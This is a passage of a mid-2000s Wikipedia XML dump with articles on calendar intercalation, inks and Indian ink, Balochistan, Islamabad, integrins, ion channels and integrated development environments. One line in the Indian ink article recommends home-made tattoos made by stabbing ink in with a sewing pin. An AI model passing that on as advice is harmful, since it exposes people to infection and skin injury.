      <timestamp>2005-12-28T21:54:24Z</timestamp>
      <contributor>
        <username>Squell</username>
        <id>403965</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''For other meanings of &quot;Intercalation&quot;, see [[Intercalation (disambiguation)]]''

The solar [[year]] does not have whole number of days, but a [[calendar year]] must have a whole number of days. The only way to reconcile the two is to vary the number of days in the calendar year.

In many calendars, this is done by adding to a [[common year]] of 365 days, an extra day ('''leap day''' or '''intercalary day'''): this makes a [[leap year]] of 366 days. In the [[Gregorian calendar]], the intercalary day is [[February 29]].

The solar [[year]] does not have a whole number of [[lunar month]]s either, so a [[lunisolar calendar]] must have a variable number of [[month]]s in a year.  This is usually 12 months, but sometimes a 13th month (an '''intercalary''' or '''embolismic''' month) is added to the year.

[[ISO 8601]] includes a specification for a 52-week year. Any year that has 53 Thursdays has 53 weeks; this extra week may be regarded as intercalary.

The determination of whether a year has intercalation may be calculated ([[Julian calendar|Julian]], [[Gregorian calendar|Gregorian]] and [[Hebrew calendar|Hebrew]] calendars), or determined by observation ([[Iranian calendar]]).

==See also==
*[[Calendar]]
*[[Bahá'í calendar]]
*[[Julian calendar]]
*[[Gregorian calendar]]
*[[Iranian calendar]]
*[[Hebrew calendar]]
*[[Hindu calendar]]
*[[Chinese calendar]]
*[[Leap second]]

[[Category:Calendars]]

[[fr:Intercalation (mesure du temps)]]
[[pl:Interkalacja]]
[[vi:Nhuận]]</text>
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  </page>
  <page>
    <title>Intercourse</title>
    <id>15291</id>
    <revision>
      <id>37812787</id>
      <timestamp>2006-02-02T07:28:27Z</timestamp>
      <contributor>
        <username>Radgeek</username>
        <id>14878</id>
      </contributor>
      <minor />
      <comment>italicize title</comment>
      <text xml:space="preserve">The word '''intercourse''' refers to:
{{Wiktionarypar|intercourse}}
*Any kind of [[human communication]] and interaction. 
** Most popularly, however, it is used to refer to [[sexual intercourse]], whether [[intromission]] or [[outercourse]], including [[Vaginal sex|vaginal intercourse]], [[anal sex|anal intercourse]], and [[interfemoral intercourse]].  

'''''[[Intercourse (book)|Intercourse]]''''' is the title of a [[1987]] book by [[radical feminism|radical feminist]] author [[Andrea Dworkin]], which discusses [[sexual intercourse]] in art and society.

'''Intercourse''' is also the name of two communities in the United States: 
*[[Intercourse, Alabama]]  
*[[Intercourse, Pennsylvania]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Ink</title>
    <id>15292</id>
    <revision>
      <id>40651021</id>
      <timestamp>2006-02-22T01:49:42Z</timestamp>
      <contributor>
        <username>Kuru</username>
        <id>764407</id>
      </contributor>
      <comment>revert: odd addition</comment>
      <text xml:space="preserve">{{otheruses}}

An '''ink''' is a [[liquid]] containing various [[pigment]]s and/or [[dye]]s used for colouring a surface to render an [[image]] or [[text]]. Common perceptions consider ink for use in drawing or writing with a [[pen]] or [[brush]].

However ink can be of a paste form, this kind of ink is used most extensively in letterpress and lithographic [[printing]].
[[Image:Tinte1.JPG|thumb|Inkpots with penholder]]
==Types of ink==

Early varieties of ink include [[Indian ink]], various natural dyes made from metals, the husk or outer covering of nuts or seeds, and sea creatures like the [[squid]] (known as [[sepia]] ). India ink is black and originated in [[Asia]]. [[Walnut ink]] and [[iron-gall nut ink]] were made and used by many of the early masters to obtain the golden brown ink used for drawing.

===Pigmented inks===

Pigmented inks contain other agents that ensure adhesion of the pigment to the surface and prevent it from being removed by mechanical abrasion. These materials are typically referred to as resins (in solvent-based inks) or binding agents (in water-based inks).

Pigmented inks are advantageous when printing on paper because the pigment stays on the surface of the paper. This is desirable because more ink on the surface of the paper means less ink needs to be used to create the same intensity of color.

===Dyes in inks===

Dyes, however, are generally much stronger and can produce more color of a given density per unit of mass. However, because dyes are dissolved in the liquid phase, they have a tendency to soak into paper, thus making the ink less efficient and also potentially allowing for the ink to bleed at the edges, producing poor quality printing.

To circumvent this problem, dye-based inks are made with solvents that dry rapidly or are used with quick-drying methods of printing, such as blowing hot air on the fresh print. Other methods to resolve this include harder paper [[sizing]] and more specialized paper coatings. The latter is particularly suited to inks that are used in non-industrial settings (and thus must conform to tighter toxicity and emission controls), such as [[inkjet printer]] inks, include coating the paper with a charged coating. If the dye has the opposite charge, then it is attracted to and retained by this coating, while the solvent soaks into the paper. [[Cellulose]], the material that paper is made of, is also naturally charged, and so a compound that complexes with both the dye and the paper surface aids retention at the surface. Such a compound in common use in ink-jet printing inks is [[poly vinyl pyrrolidone|polyvinyl pyrrolidone]].

An additional advantage of dye-based ink systems is that the dye [[molecule]]s interact chemically with other ink ingredients. This means that they can benefit more than pigmented ink from [[optical brightener]]s and colour-enhancing agents designed to increase the intensity and appearance of dyes. Because dyes get their colour from the interaction of [[electron]]s in their molecules, the way in which the electrons can move is determined by the charge and extent of electron delocalisation in the other ink ingredients. The colour emerges as a function of the light energy that falls on the dye. Thus, if an optical brightener or colour enhancer absorbs light energy and emits it through or with the dye, the appearance changes, as the spectrum of light re-emitted to the observer changes.

A disadvantage of dye-based inks is that they can be more susceptible to fading, especially when exposed to [[ultraviolet radiation]] as in sunlight.

Pigments contain the different colors. Pigments are the main components of the Inks. The size of the pigment is very important for the ability of diffuse in the solution inks. Denpending the sources and kind of the pigments so they have some special properties of ink like that : Brighness , Satulation, Hue.

==History of ink==

Approximately 5000 years ago, the Chinese developed ink for blackening the raised surfaces of pictures and texts carved in stone. This early ink was a mixture of soot from pine smoke, lamp oil, and gelatin from animal skins and musk. Other early cultures also developed inks (of many colors) from available berries, plants and minerals. 

In an article for the Christian Science Monitor, Sharon J. Huntington describes these other historical inks:

&lt;blockquote&gt;About 1,600 years ago, a popular ink recipe was created. The recipe was used for centuries. Iron &quot;salts,&quot; such as ferrous sulfate (made by treating iron with sulfuric acid), was mixed with tannin from gallnuts (they grow on trees) and a thickener. When first put to paper, this ink is bluish-black. Over time it fades to a dull brown.&lt;/blockquote&gt;

&lt;blockquote&gt;Scribes in medieval Europe (about AD 800 to 1500) wrote on sheepskin parchment. One 12th-century ink recipe called for hawthorn branches to be cut in the spring and left to dry. Then the bark was pounded from the branches and soaked in water for eight days. The water was boiled until it thickened and turned black. Wine was added during boiling. The ink was poured into special bags and hung in the sun. Once dried, the mixture was mixed with wine and iron salt over a fire to make the final ink.&lt;/blockquote&gt;


In the 14th century, a new type of ink had to be developed in Europe for the printing press. Two types of ink were prevelent at the time; The Greek and Roman writing ink (soot, glue, and water) and the 12th century variety composed of ferrous sulfate, nutgall, gum, and water.  Neither of these handwriting inks could adhere to printing surfaces without creating blurs.  Eventually an oily, varnish-like ink made of soot, turpentine, and walnut oil was created specifically for the printing press.

==References==

*[http://www.csmonitor.com/2004/0921/p18s02-hfks.html &quot;Think Ink!&quot;] by Sharon J. Huntington, Christian Science Monitor, September 21, 2004, retrieved January 17, 2006.

*&quot;A History of Technology and Invention&quot; by Maurice Audin, page 630

==See also==
*[[Invisible ink]]
*[[Soy ink]]
*[[Quink]]
*[[Ink sac]]
*[http://www.printpromotionguide.com/blog/item/40 Printing Metallic Inks]

[[Category:Inks|*]]

[[da:Blæk]]
[[de:Tinte]]
[[eo:Inko]]
[[es:Tinte]]
[[fr:Encre]]
[[he:דיו]]
[[it:Inchiostro]]
[[nl:Inkt]]
[[nn:blekk]]
[[no:blekk]]
[[ja:インク]]
[[simple:Ink]]
[[fi:Muste]]
[[zh:墨]]</text>
    </revision>
  </page>
  <page>
    <title>Balochistan (Iran)</title>
    <id>15293</id>
    <revision>
      <id>33411726</id>
      <timestamp>2005-12-31T20:48:01Z</timestamp>
      <contributor>
        <username>Davidpdx</username>
        <id>284281</id>
      </contributor>
      <comment>Reverted vandalism</comment>
      <text xml:space="preserve">'''Balochistan''' is the [[Iran]]ian province of the greater terroitory [[Balochistan]] (or Baluchistan). It comprises [[Sistan va Baluchestan]] province and the southeastern parts of [[Kerman province|Kerman]] and [[Hormozgan]] provinces. To the south is the [[Gulf of Oman]]. To the east is [[Balochistan, Pakistan]].

The southern part of Balochistan is known as [[Makran]].

==Cities in Balochistan==
* [[Bampur]]

{{Iran-geo-stub}}

[[Category:Geography of Iran|Balochistan, Iranian]]</text>
    </revision>
  </page>
  <page>
    <title>Islamabad Capital Territory</title>
    <id>15294</id>
    <revision>
      <id>37212992</id>
      <timestamp>2006-01-29T14:07:59Z</timestamp>
      <contributor>
        <username>Fast track</username>
        <id>782108</id>
      </contributor>
      <comment>Infobox corrected</comment>
      <text xml:space="preserve">{{ISB-infobox}}

''For main article on the capital of [[Pakistan]] go to [[Islamabad]].''


'''Islamabad Capital Territory''' is the capital of [[Pakistan]].  It is located to the north of [[Punjab, Pakistan|Punjab]] and to the south of [[North-West Frontier, Pakistan|North-West Frontier Province]].

==Introduction==

Islamabad was designed and built to be a modern capital for [[Pakistan]]. It is located amongst  the Margalla Hills at the northern end of Pothowar Plateau. It was established in 1960 by the orders of then President General [[Ayub Khan]]. 

The capital is full of natural terraces and meadows and the southern plain drained by the Kurang River with the Margalla Hills in the north east. 

==Area and population== 

The city is divided into eight basic zones: 

*Administrative
*Diplomatic Enclave
*Residential Areas
*Educational Sectors
*Industrial Sectors
*Commercial Areas
*Rural Areas and 
*Green Areas

Each sector has its own shopping area and public park. The population of the city is around 950,000 people with an area of about 910 square kilometers. The city lies at latitudes 33° 49' north and longitudes 72° 24' east with altitudes ranging from 457 to 610 meters.

==Climate==

It offers a healthy climate, pollution free atmosphere, plenty of water and a lush green area. It is a modern and carefully planned city with wide tree-lined streets, large houses, elegant public buildings and well-organised bazars/markets/shopping centres. 

The average humidity level is 55% with an average rainfall of 1150 millimeters each year. The city is quite moderate when it comes to its weather. The maximum average temperature is 29 °C and goes down to average minimum of around 14 °C.

==Education==

Islamabad has some of the fine educational institutes of [[Pakistan]], including Quaid-e-Azam University, International Islamic University and National University of Science and Technology. 

[[Quaid-e-Azam]] University offers courses in a number of subjects. The institute is located in a semi hilly area, east of the Secretariat buildings and near the base of Margala Hills. This Post-Graduate institute is spread over 1500 acres (6&amp;nbsp;km&amp;sup2;). 

Major buildings of the campus have been designed in such a way as to form an axial spine with the library in the center. Quaid-e-Azam University now occupies an enviable position in the academic world. 

==Shah Faisal mosque==

The enormous [[Shah Faisal Mosque]] sits at the foot of the Margalla Hills. It represents an eight-faceted desert 'tent' supported on four giant concrete girders and surrounded by four 90-metre high concrete minuets. The central 'tent' is faced in white marble and decorated inside with mosaics and a spectacular chandelier. 

The mosque was designed by the Turkish architect [[Vedat Dalokay]], and largely financed by donations from [[Saudi Arabia]]. About 15,000 people fit inside, with room for another 85,000 in the courtyard.

==External links==
*[http://www.itspakistan.net/pakistan/islamabad.aspx Read More About Islamabad on itsPakistan]
*[http://www.itspakistan.net/pakistan/gallery_isb.aspx Picture Gallery of Islamabad on itsPakistan]

{{Territorial_Capitals_in_Pakistan}}
[[Category:Subdivisions of Pakistan]]

[[de:Islamabad Hauptstadtterritorium]]
[[ko:이슬라마바드 수도권]]</text>
    </revision>
  </page>
  <page>
    <title>Intelligent Design</title>
    <id>15295</id>
    <revision>
      <id>24194749</id>
      <timestamp>2005-09-27T23:06:31Z</timestamp>
      <contributor>
        <username>Kazrak</username>
        <id>215642</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">#REDIRECT [[Intelligent design]]</text>
    </revision>
  </page>
  <page>
    <title>Indian ink</title>
    <id>15297</id>
    <revision>
      <id>41102311</id>
      <timestamp>2006-02-25T01:34:07Z</timestamp>
      <contributor>
        <username>Fuhghettaboutit</username>
        <id>665998</id>
      </contributor>
      <minor />
      <comment>prefered---&gt;preferred</comment>
      <text xml:space="preserve">{{Otheruses4|the ink|the play by Tom Stoppard|Indian Ink (play)}}
'''Indian ink''' (or '''India ink''' in [[American English]]) is a simple black [[ink]] once widely used for writing and printing, and now more commonly used for [[drawing]], especially when inking [[comics]].

Early treatises on the arts refer to black carbon ink that was prepared by the ancient [[history of China|Chinese]] and [[Ancient Egypt|Egyptians]]. The basis of the ink was a black carbon pigment in an aqueous [[glue]] or binding medium. Sometime before the [[12th century]], [[Eraclius]], in his De Coloribus et Artibus Romanorum, presented a set of directions for making several types of carbon inks, including one similar to the Indian ink of China, made from the [[soot]] of burning resin or wood. Different types of wood will create different-colored inks. In an [[England|English]] volume on [[handwriting]] of [[1581]], [[Theophilus]] presented a recipe for a carbon ink:

:To make Inke in haste.

:In hast, for a shift when ye have a great neede,&lt;br&gt;
:Take woll, or wollen to stand you in steede,&lt;br&gt;
:Which burnt in the fyre, the powder beate small:&lt;br&gt;
:With vinegar, or water make Inke withall.

As the recipe shows, no [[binder material]] is necessary: the carbon molecules are in [[colloid|colloidal]] suspension and form a waterproof layer after drying; often waterproof [[shellac]] is added though.

Indian ink replaced the previously widespread [[Iron-gall nut ink]] in the opening years of  the [[20th century]].

Caution: Indian ink is usually not suitable for [[fountain pen]]s: it will readily clog the pen. An exception to this is [[Pelikan]] Fount India, which does not contain shellac.

See also: [[pen and ink]].

Indian ink can also be used for home made tattoos, by drawing on the preferred design and then stabbing over the ink with a sharp sewing pin.

== See also ==
[[Sumi]]

[[Category:Inks]]

[[es:Tinta china]]
[[fr:Encre de Chine]]
[[it:Inchiostro cinese]]
[[nl:Oost-indische inkt]]
[[vi:Mực tầu]]</text>
    </revision>
  </page>
  <page>
    <title>I think, therefore I am</title>
    <id>15301</id>
    <revision>
      <id>15912779</id>
      <timestamp>2002-03-26T12:17:19Z</timestamp>
      <contributor>
        <username>Uriyan</username>
        <id>64</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT[[Cogito ergo sum]]


</text>
    </revision>
  </page>
  <page>
    <title>Integrin</title>
    <id>15302</id>
    <revision>
      <id>40190441</id>
      <timestamp>2006-02-18T21:22:05Z</timestamp>
      <contributor>
        <ip>66.75.253.147</ip>
      </contributor>
      <comment>/* Attachment of cell to the ECM */</comment>
      <text xml:space="preserve">An '''integrin''', or '''integrin receptor''', is an [[integral membrane protein]] in the [[plasma membrane]] of [[cell (biology)|cell]]s. It plays a role in the attachment of a cell to the [[extracellular matrix]] (ECM) (especially in [[growth cone]] [[axon guidance]]) and in [[signal transduction]] from the ECM to the cell. There are many different types of integrin and many cells have multiple types on their surface. Integrins are of vital importance to most multicellular organisms from humans to sponges.

[[Mutations]] in the [[gene]]s encoding for integrin can be found in certain types of [[cancer]], for instance [[breast cancer]]. A failure of integrin to anchor a cell to the ECM can play a role in the [[metastasis]] of certain cancer cells.

Other types of [[protein]] that play a role in cell-cell/cell-matrix interaction and communication are [[cadherin]]s, [[NCAM]]s and [[selectin]]s.

==Structure== 
Integrins are obligate [[heterodimer]]s containing two distinct chains, termed the &amp;#945; (alpha) and &amp;#946; (beta) subunits. About 18 &amp;#945; and  8 &amp;#946; subunits have been found.. In addition, variants of many of the subunits are formed by differential splicing, for example 4 variants of the beta-1 subunit exist. Through different combinations of these alpha and beta subunits, some 24 unique integrins are generated. The subunits each penetrate the plasma membrance, and in general have very short cytoplasmic domains within the cell (40-70 amino acids), the exception being the beta-4 subunit which has one of the largest known cytoplasmic domains of any membrane protein, 1088 amino acids. Outside the cell plasma membrane, the chains lie close together along a length of about 23 [[Nanometre|nm]], the final 5 [[Nanometre|nm]] of each chain form a ligand-binding region for the ECM. The [[molecular mass]] of the subunits varies from about 100,000 to 140,000 in different integrins. &amp;#946; subunits have four [[cysteine]]-rich repeated sequences. &amp;#945; subunits bind several [[divalent]] [[cation]]s. X-ray crystal structure has been obtained for the complete extracellular regions of one integrin, and this shows the molecule to be folded into an inverted V-shape which brings the ligand-binding sites close to the cell membrane. The current hypothesis, is that integrin function involves changes in shape to move the ligand binding site into a more accessible position away from the cell surface, and this shape change also triggers intracellular signalling. 

==Function==
Two main functions of integrins are:
*Attachment of the cell to the ECM.
*Signal transduction from the ECM to the cell.

However, they are also involved in a wide range of other biological activities. These include: binding of viruses, including adenovirus, Echo viruses, Hanta viruses, foot and mouth disease viruses, to cells; immune patrolling. Cell migration.

=== Attachment of cell to the ECM===
Integrins couple the ECM outside a cell to the [[cytoskeleton]] (in particular the [[microfilaments]]) inside the cell. Which ligand in the ECM the integrin can bind to is mainly decided by which &amp;#945; and &amp;#946; subunits the integrin is made of. Among the [[ligand]]s of integrins are [[fibronectin]],  [[collagen]], and [[laminin]]. The connection between the cell and the ECM enables the cell to endure pulling forces without being ripped out of the ECM. The ability of a cell to create this kind of bond is also of vital importance in [[ontogeny]].

The connections between integrin and the ligands in the ECM and the microfilaments inside the cell are indirect: they are linked via scaffolding proteins like talin, paxillin and alpha-actinin. These act by regulating [[kinase]]s like FAK ([[focal adhesion kinase]])and  Src kinase family members to phosphorylate substrates such as p130CAS thereby recruiting signaling adaptors such as Crk.

Cell attachment to the ECM is a basic requirement to built a multicellular organism. Integrins are not simply hooks, but give the cell critical signals about the nature of its surroundings. Together with signals arising from receptors for soluble growth factors like [[VEGF]], [[EGF]] and many others, they enforce a cellular decision on what biological action to take, be it attachment, movement, death or differentiation. Thus integrins lie at the heart, both literally and figuratively, of cellular biological processes.

===Signal transduction===
Integrins play an important role in cell signaling. Connection with ECM molecules can cause a signal to be relayed into the cell through protein [[kinase]]s that are connected with the intracellular end of the integrin molecule. 

The signals the cell receives through the integrin can have relation to: 
*[[cell growth]]
*[[cell division]]
*cell survival
*[[cellular differentiation]]
*[[apoptosis|apoptosis (programmed cell death)]] .

[[Category:Membrane biology]]
[[Category:Integral membrane proteins]]
[[Category:Cell adhesion proteins]]
[[de:Integrin]]
[[fr:Intégrine]]
[[ja:インテグリン]]</text>
    </revision>
  </page>
  <page>
    <title>Ion channel</title>
    <id>15303</id>
    <revision>
      <id>40868527</id>
      <timestamp>2006-02-23T15:22:09Z</timestamp>
      <contributor>
        <username>Sayeth</username>
        <id>65782</id>
      </contributor>
      <minor />
      <comment>/* History */ link to patch clamp</comment>
      <text xml:space="preserve">''Another, unrelated ion channeling process is part of [[ion implantation]].''

'''Ion channels''' are [[pore]]-forming [[protein]]s that help establish the small [[voltage]] [[gradient]] that exists across the [[membrane]] of all living [[cell (biology)|cell]]s (see [[cell potential]]), by allowing the flow of [[ion]]s down their electrochemical gradient.  They are present in the [[cell membrane|membrane]]s that surround all [[cell (biology)|biological cell]]s.

== Basic features == 
An ion channel is an [[integral membrane protein]] or more typically an assembly of several proteins. Such &quot;multi-[[protein subunit|subunit]]&quot; assemblies usually involve a circular arrangement of identical or [[homologous|related]] proteins closely packed around a water-filled pore through the plane of the membrane or [[lipid bilayer]]{{ref|general}}. While large-pore channels permit the passage of ions more or less indiscriminately, the archetypal channel pore is just one or two atoms wide at its narrowest point. It conducts a specific species of ion, such as [[sodium]] or [[potassium]], and conveys them through the membrane single file--nearly as quickly as the ions move through free fluid. In some ion channels, access to the pore is governed by a &quot;gate,&quot; which may be opened or closed by chemical or electrical signals, temperature, or mechanical force, depending on the variety of channel.

== Biological role ==
Because &quot;voltage-gated&quot; channels underlie the [[nerve impulse]] and because &quot;transmitter-gated&quot; channels mediate conduction across the [[synapse]]s, channels are especially prominent components of the [[nervous system]]. Indeed, most of the offensive and defensive toxins that organisms have evolved for shutting down the nervous systems of predators and prey (e.g., the venoms produced by spiders, scorpions, snakes, fish, bees, sea snails and others) work by plugging ion channel pores. But ion channels figure in a wide variety of biological processes that involve rapid changes in cells. In the search for new drugs, ion channels are a favorite target.

=== Diversity and activation ===
*[[Voltage-gated ion channel|''Voltage-gated'' channels]] open or close, depending on the  [[transmembrane potential]].  Examples include the [[sodium ion channel|sodium]] and [[potassium channel|potassium]] voltage-gated channels of nerve and muscle, that are involved in the propagation of the [[action potential]], and the voltage-gated calcium channels that control [[neurotransmitter]] release in [[synapse|pre-synaptic endings]]. 
*[[Ligand-gated ion channel|''Ligand-gated'' channels]] open in response to a specific ligand molecule  on the external face of the membrane in which the channel resides.  Examples include the [[Acetylcholine receptor|&quot;nicotinic&quot; Acetylcholine receptor]], [[AMPA receptor]] and other [[neurotransmitter]]-gated channels. 
*[[Cyclic nucleotide-gated ion channel|''Cyclic nucleotide-gated'' channels]], ''Calcium-activated'' channels and others open in response to internal solutes and mediate cellular responses to [[second messenger]]s.
*[[Stretch-activated ion channel|''Stretch-activated'' channels]] open or close in response to mechanical forces that arise from local stretching or compression of the membrane around them; for example when their cells swell or shrink. Such channels are believed to underlie touch sensation and the transduction of acoustic vibrations into the sensation of sound.
*[[G-protein-gated ion channel|''G-protein-gated'' channels]] open in response to [[G protein]]-activation via its receptor. 
*[[Inward-rectifier potassium ion channel|''Inward-rectifier K'' channels]] allow potassium to flow into the cell in an inwardly rectifying manner, i.e, potassium flows into the cell but not out of the cell. They are involved in important physiological processes such as the pacemaker activity in the heart, insulin release, and potassium uptake in glial cells.
*[[Light-gated channels]] like [[channelrhodopsin]] are directly opened by the action of light
*[[Resting channel|''Resting'' channels]] remain open at all times.

Certain channels respond to multiple influences.  For instance, the [[NMDA receptor]] is partially activated by interaction with its ligand, [[glutamate]], but is also voltage-sensitive and conducts only when the membrane is depolarized. Some calcium-sensitive potassium channels respond to both calcium and depolarization, with an excess of one apparently being sufficient to overcome an absence of the other.

== Detailed structure == 
Channels differ with respect to the ion they let pass (for example, Na&lt;sup&gt;+&lt;/sup&gt;, K&lt;sup&gt;+&lt;/sup&gt;, Cl&lt;sup&gt;&amp;minus;&lt;/sup&gt;), the ways in which they may be regulated, the number of subunits of which they are composed and other aspects of structure. Channels belonging to the largest class, which includes the voltage-gated channels that underlie the nerve impulse, consists of four subunits with six [[transmembrane helix|transmembrane helices]] each. On activation, these helices move about and open the pore. Two of these six helices are separated by a loop that lines the pore and is the primary determinant of ion selectivity and conductance in this channel class and some others. The channel subunits of one such other class, for example, consist of just this &quot;P&quot; loop and two transmembrane helices. The determination of their molecular structure by [[Roderick MacKinnon]] using [[crystallography|X-ray crystallography]] won a share of the 2003 [[Nobel Prize in Chemistry]].

Because of their small size and the difficulty of crystallizing integral membrane proteins for X-ray analysis, it is only very recently that scientists have been able to directly examine what channels &quot;look like.&quot; Particularly in cases where the crystallography required removing channels from their membranes with detergent, many researchers regard images that have been obtained as tentative. An example is the long-awaited crystal structure of a voltage-gated potassium channel, which was reported in May 2003. One inevitable ambiguity about these structures relates to the strong evidence that channels change conformation as they operate (they open and close, for example), such that the structure in the crystal could represent any one of these operational states. Most of what researchers have deduced about channel operation so far they have established through [[electrophysiology]], [[biochemistry]], [[gene]] sequence comparison and [[mutagenesis]].

==Diseases of Ion Channels==
There are a number of chemicals and genetic disorders which disrupt normal functioning of ion channels and have disastrous consequences for the organism.

'''Chemicals'''
* [[Tetrodotoxin]] (TTX), used by [[puffer fish]] and some types of [[newts]] for defense.  It is a sodium channel blocker.
* [[Saxitoxin]], produced by a [[dinoflagellate]] also known as [[red tide]].  It blocks voltage dependent sodium channels.
* [[Conotoxin]], which is used by [[cone snails]] to hunt prey.  
* [[Lidocaine]] and [[Novocaine]] belong to a class of [[local anesthetics]] which block sodium ion channels.
* [[Dendrotoxin]] is produced by a [[mamba]] [[snakes]] which blocks potassium channels.

'''Genetic'''
* [[Shaker gene]] mutations cause a defect in the volatage gated ion channels, slowing down the repolarization of the cell.
* [[Equine hyperkalaemic periodic paralysis]] as well as [[Human hyperkalaemic periodic paralysis]] (HyperPP) are caused by a defect in voltage dependent sodium channels.
* [[Paramyotonia congenital]] (PC) and [[potassium aggravated myotonias]] (PAM)
* [[Generalized epilepsy with febrile seizures]] (GEFS)
* [[Episodic Ataxia Type-1]] (EA1)
* [[Familial hemiplegic migraine]] (FHM)

== History ==
The existence of ion channels was hypothesized by the British [[biophysics|biophysicist]]s [[Alan Hodgkin]] and [[Andrew Huxley]] as part of their [[Nobel Prize in Physiology or Medicine|Nobel Prize]]-winning theory of the nerve impulse, published in 1952. The existence of ion channels was confirmed in the [[1970s]] with an [[electrophysiology|electrical recording technique]] known as the &quot;[[patch clamp]],&quot; which led to a Nobel Prize to [[Erwin Neher]] and [[Bert Sakmann]], the technique's inventors. Hundreds if not thousands of researchers continue to pursue a more detailed understanding of how these proteins work.
In recent years the development of [[planar patch clamp|automated patch clamp]] [[Port-a-Patch|devices]] helped to increase the throughput in ion channel screening significantly.

==References==
# {{note|general}} Two textbooks that discuss ion channels are: ''Neuroscience'' (2nd edition) Dale Purves, George J. Augustine, David Fitzpatrick, Lawrence. C. Katz, Anthony-Samuel LaMantia, James O. McNamara, S. Mark Williams, editors. Published by Sinauer Associates, Inc. (2001) [http://www.ncbi.nlm.nih.gov/books/bv.fcgi?rid=neurosci.chapter.227 online textbook] and ''Basic Neurochemistry: Molecular, Cellular, and Medical Aspects'' (6th edition) by George J Siegel, Bernard W Agranoff, R. W Albers, Stephen K Fisher and Michael D Uhler published by Lippincott, Williams &amp; Wilkins (1999): [http://www.ncbi.nlm.nih.gov/books/bv.fcgi?rid=bnchm.chapter.421 online textbook]

==See also==
* [[action potential]]
* [[active transport]]
* [[channelopathy]]
* [[neurotoxin]]
* [[passive transport]]
* [[transmembrane receptor]]

==External links==
*[http://physrev.physiology.org/cgi/content/full/80/2/555 The Voltage Sensor in Voltage-Dependent Ion Channels]
*[http://www.cellbio.wustl.edu/faculty/huettner/69.pdf X-ray crystal structure of a potassium channel]
*[http://www.ionchannels.org Ion Channel, Biophysics and Electrophysiology Resources]

[[Category:Biochemistry]]
[[Category:Ion channels]]

[[de:Ionenkanal]]
[[fi:Ionikanava]]
[[fr:Canal ionique]]
[[ja:イオンチャンネル]]
[[nl:Ionkanaal]]</text>
    </revision>
  </page>
  <page>
    <title>IDE</title>
    <id>15304</id>
    <revision>
      <id>40565359</id>
      <timestamp>2006-02-21T13:45:57Z</timestamp>
      <contributor>
        <ip>193.125.78.210</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">Meanings of '''IDE''':
* Integrated Drive Electronics - the more commonly-used name for the [[Advanced Technology Attachment]] interface standard.
* [[Integrated development environment|Integrated Development Environment]]
* Integrated Desktop Environment
* Investigational Device Exemption - A [[Food and Drug Administration|FDA]] regulatory status which permits the human use of an unapproved medical device

Meanings of '''Ide''':
* [[Ide]] - a fish (''Leuciscus idus'' in [[Latin]])
* A time of the [[month]], as in ''[[Ides of March]]''
* [[Ide, Devon]] -a village to the south of [[Exeter]], [[Devon]], [[England]].
* Means &quot;'''here'''&quot; in [[Hungarian]]

IDE was also the [[KGB|KGB's]] codename for [[Samuel Krafsur]] mentioned in the [[Venona]] decryptions.

==See also==
*[[IDDE]]

{{TLAdisambig}}

[[ca:IDE]]
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    </revision>
  </page>
  <page>
    <title>Integrated development environment</title>
    <id>15305</id>
    <revision>
      <id>41648782</id>
      <timestamp>2006-02-28T20:03:04Z</timestamp>
      <contributor>
        <username>S0crates9</username>
        <id>425649</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">An '''integrated development environment''' ('''IDE'''), also known as '''integrated design environment''' and '''integrated debugging environment''', is a type of [[computer software]] that assists [[programmer|computer programmers]] to develop software.

IDEs normally consist of a [[source code editor]], a [[compiler]] and/or [[Interpreter (computing)|interpreter]], build-automation tools, and (usually) a [[debugger]]. Sometimes a [[version control system]] and various tools to simplify the construction of a [[GUI]] are integrated as well. Many modern IDEs also integrate a [[class browser]], an [[object inspector]] and a [[class hierarchy diagram]], for use with [[object oriented]] software development. Although some multiple-language IDEs are in use, such as the [[Eclipse (computing)|Eclipse]] IDE, [[NetBeans]] or [[Microsoft Visual Studio]], typically an IDE is devoted to a specific [[programming language]], as in the [[Visual Basic programming language|Visual Basic]] IDE.

==History==
IDEs initially became necessary when doing development in front of console or terminal.  Early languages did not have one, since they were prepared using flowcharts, coding forms, and keypunches before being submitted to a compiler.  [[Dartmouth BASIC|BASIC]] was the first language to be created with an IDE (and was also the first to be designed for use while sitting in front of a console or terminal).  Its IDE (part of the [[Dartmouth Time Sharing System]]) was command-based, and therefore didn't look much like the menu-driven, graphical IDEs of today. However it seamlessly integrated editing, file management, compilation, debugging and execution in the manner characteristic of modern IDE

Today, the term &quot;IDE&quot; is a contrast to unrelated command-line tools, such as [[vi]], [[emacs]], or [[make]].  While one ''could'' think of [[Unix]] as an IDE, most developers think of an IDE as being (or having the appearance of) a single program in which all development is done.  This program provides typically large numbers of features for authoring, modifying, compiling, deploying and debugging software.  The idea being that the IDE abstracts the configuration necessary to piece together command line utilities in a cohesive unit, which theoretically reduces the time to learn a language, and increases developer productivity.  It is also thought that the tight integration of various development tasks can lead to further productivity increases (for example, code can be compiled while being written, providing instant feedback on syntax errors).   While most modern IDEs are graphical, IDEs in use before the advent of windowing systems (such as [[Microsoft Windows]] or [[X11]]) were text-based, using function keys or [[hotkeys]] to perform various tasks ([[Turbo Pascal]] is a common example).

An interesting development is the emergence and popularization of [[Open Source]] IDE such as [[Eclipse]] and [[NetBeans]] in recent years.  The combination of the Open Source philosophy with an open, extensible framework, encourages the creation of a community of people to extend the capabilities of the IDE, allowing even exotic languages and applications to be supported by the environment.

==Visual programming==
There is also growing interest in [[visual programming]] (not to be confused with [[Visual Basic]] or [[Visual C++]]). These IDEs allow users to create new applications by moving programming building blocks or code nodes to create flowcharts or structure diagrams which are then compiled or interpreted.  These flowcharts often are based on the [[Unified Modeling Language]].

This interface has been popularized with the [[Lego Mindstorms|LEGO Mindstorms]] system, and is being actively pursued by a number of companies wishing to capitalize on the power of custom browsers like those found at [[Mozilla]] and the power of [[distributed programming]] (cf. [[LabVIEW]] software).  One of the first Visual Programming systems, [[Max]], was modelled after analog [[synthesizer]] design and has been used to develop real-time music performance software since the 1980s.

This approach is also used in specialist software such as [[Openlab]], where the end users want the flexibility of a full programming language, without the traditional learning curve associated with one.

A semi-free and Open Source alternative is the visual programing language Mindscript, with extended functionallity for cryptology, interfacing databases, etc.

==Arguments==
